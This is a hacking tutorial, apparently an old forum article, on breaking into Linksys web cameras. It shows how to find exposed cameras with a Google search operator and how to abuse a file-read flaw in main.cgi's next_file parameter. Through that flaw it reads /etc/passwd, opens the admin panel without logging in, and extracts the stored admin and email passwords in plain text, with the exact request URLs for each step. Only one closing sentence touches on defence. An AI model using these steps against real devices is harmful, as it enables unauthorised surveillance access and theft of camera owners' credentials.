Hacking Cisco's Linksys Web Cams.

[zbeng]

I. Finding a target.

II. The problem.

III. Accessing the Admin panel.

IV. Finding emails and passwords.

V. Conclusions.

########################

# I. Finding a target. #

########################

For this part of the tutorial, we'll utilize a simple google hack.

If you search johnny.ihackstuff.com for Linksys Webcams you'll find

something like this:

inurl:main.cgi

The search that I utilized was:

inurl:main.cgi?next_file=

The service may be running on any number of ports, but the most common

ports that I've seen are ports 80 and 1024.

####################

# II. The problem. #

####################

Once you've found a webcam using google, open the link in your favorite

web browser. You'll see something like this in your browser.

http://127.0.0.1:1024/main.cgi?next_file=img/main.htm

The problem that makes this hack possible is that main.cgi?next_file

accepts any file, and reads it into the browser. So, obviously you

could access /etc/passwd.

http://127.0.0.1:1024/main.cgi?next_file=/etc/passwd

But, we're going for something more interesting.

###################################

# III. Accessing the Admin panel. #

###################################

There are any number of ways the web interface could be setup, but this

will only cover the default setup. Hacking any derivatives from this

style should not be difficult at all. Just look at the HTML source code

and find where the admin page urls are located.

At the top of you page you will see a panel with something like this.

Home View Video Setup Linksys WEB Help Exit

Setup is the one we want. If you look at the source code you'll see that

the link to setup is...

http://127.0.0.1:1024/adm/file.cgi?next_file=basic.htm

Clicking on the link prompts for the username and password of the router.

Remember main.cgi? Yeah, well since we can read any file on the system

we're going to load basic.htm, the setup panel, without needing a password.

http://127.0.0.1:1024/main.cgi?next_file=adm/basic.htm

Wow look at that. However, if you try to access something else from the

regular administrative menu, you will be prompted for a user/pass combo.

Now that we see how to load the menu, it's a trivial matter to obtain

a legitimate password.

http://127.0.0.1:1024/main.cgi?next_file=a...adm/pass_wd.htm

Just look at the source code, around where the form is located and in plain

text there is the user/pass. In order to access anything else in the admin

menu, just open it up with main.cgi?next_file=adm/.

Common Administrative Files.

http://127.0.0.1:1024/main.cgi?next_file=system.htm

http://127.0.0.1:1024/main.cgi?next_file=basic.htm

http://127.0.0.1:1024/main.cgi?next_file=image.htm

http://127.0.0.1:1024/main.cgi?next_file=pass_wd.htm

http://127.0.0.1:1024/main.cgi?next_file=users.htm

http://127.0.0.1:1024/main.cgi?next_file=status.htm

http://127.0.0.1:1024/main.cgi?next_file=advanced.htm

######################################

# IV. Finding emails and passwords. #

######################################

One final interesting endeavor is to extract the password of the user's

email account. There's an option in Linksys that allows it to email you

when the motion sensor is set off. The user/pass of the email account

may also be stored in plain text.

http://127.0.0.1:1024/main.cgi?next_file=a...dm/advanced.htm

###################

# V. Conclusions. #

###################

I've only run into one webcam that successfully blocked this type of

access. The result was a 403 webserver error. So if you want to keep

your passwords safe you might want to look into file permissions and

other forms of data protection for your web camera.

#####################################################################

That's all for this article. I appreciate you reading this far.

If you have any input/criticism please email me.

stderr [dot] dev [at] gmail [dot] com.

Shouts: cult, kaZm, SheepByte, and 34019.

-stderr